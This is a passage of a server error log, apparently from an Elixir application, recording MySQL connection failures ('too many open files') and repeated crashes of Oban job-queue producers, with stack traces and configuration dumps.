    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:04:41.239573Z], limit: 50, uuid: "32638e8e-ca6a-4218-92bc-3f611219a52d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:41.239579Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43849>, refresh_timer: #Reference<0.2525715032.1099431938.43826>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:00.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:02.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:07.103000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:04:55.239939Z], limit: 5, uuid: "f6fcbc8b-cdf4-4ec8-9874-e1e1e3eb8cd1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:55.239945Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44231>, refresh_timer: #Reference<0.2525715032.1077673987.20756>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:04:55.240262Z], limit: 5, uuid: "16474b73-118b-4ae5-8878-9b61cd1aec0d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:55.240268Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44229>, refresh_timer: #Reference<0.2525715032.1099431938.44202>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:07.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:04:55.239958Z], limit: 10, uuid: "67681100-9f8f-446b-b888-bf4375294d25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:55.239963Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.20799>, refresh_timer: #Reference<0.2525715032.1077673987.20759>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:07.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:04:55.240502Z], limit: 20, uuid: "f3272713-3e8e-4ecd-abbd-f85c974bc154", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:55.240507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44228>, refresh_timer: #Reference<0.2525715032.1099431938.44213>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:04:55.241647Z], limit: 50, uuid: "83d64d6e-6b9c-40d5-89fe-4ea3f5707057", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:55.241652Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44230>, refresh_timer: #Reference<0.2525715032.1099431938.44220>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:04:55.240963Z], limit: 3, uuid: "56425239-b24b-4897-a792-acc6d78636eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:55.240968Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44232>, refresh_timer: #Reference<0.2525715032.1077673987.20790>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:07.323000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:07.981000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:09.167000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:09.663000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:11.586000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:12.358000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:14.712000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:05:07.242343Z], limit: 3, uuid: "948d94b1-1000-4dc5-a78e-c6b307736dae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:07.242350Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44594>, refresh_timer: #Reference<0.2525715032.1068498948.45080>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:19.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
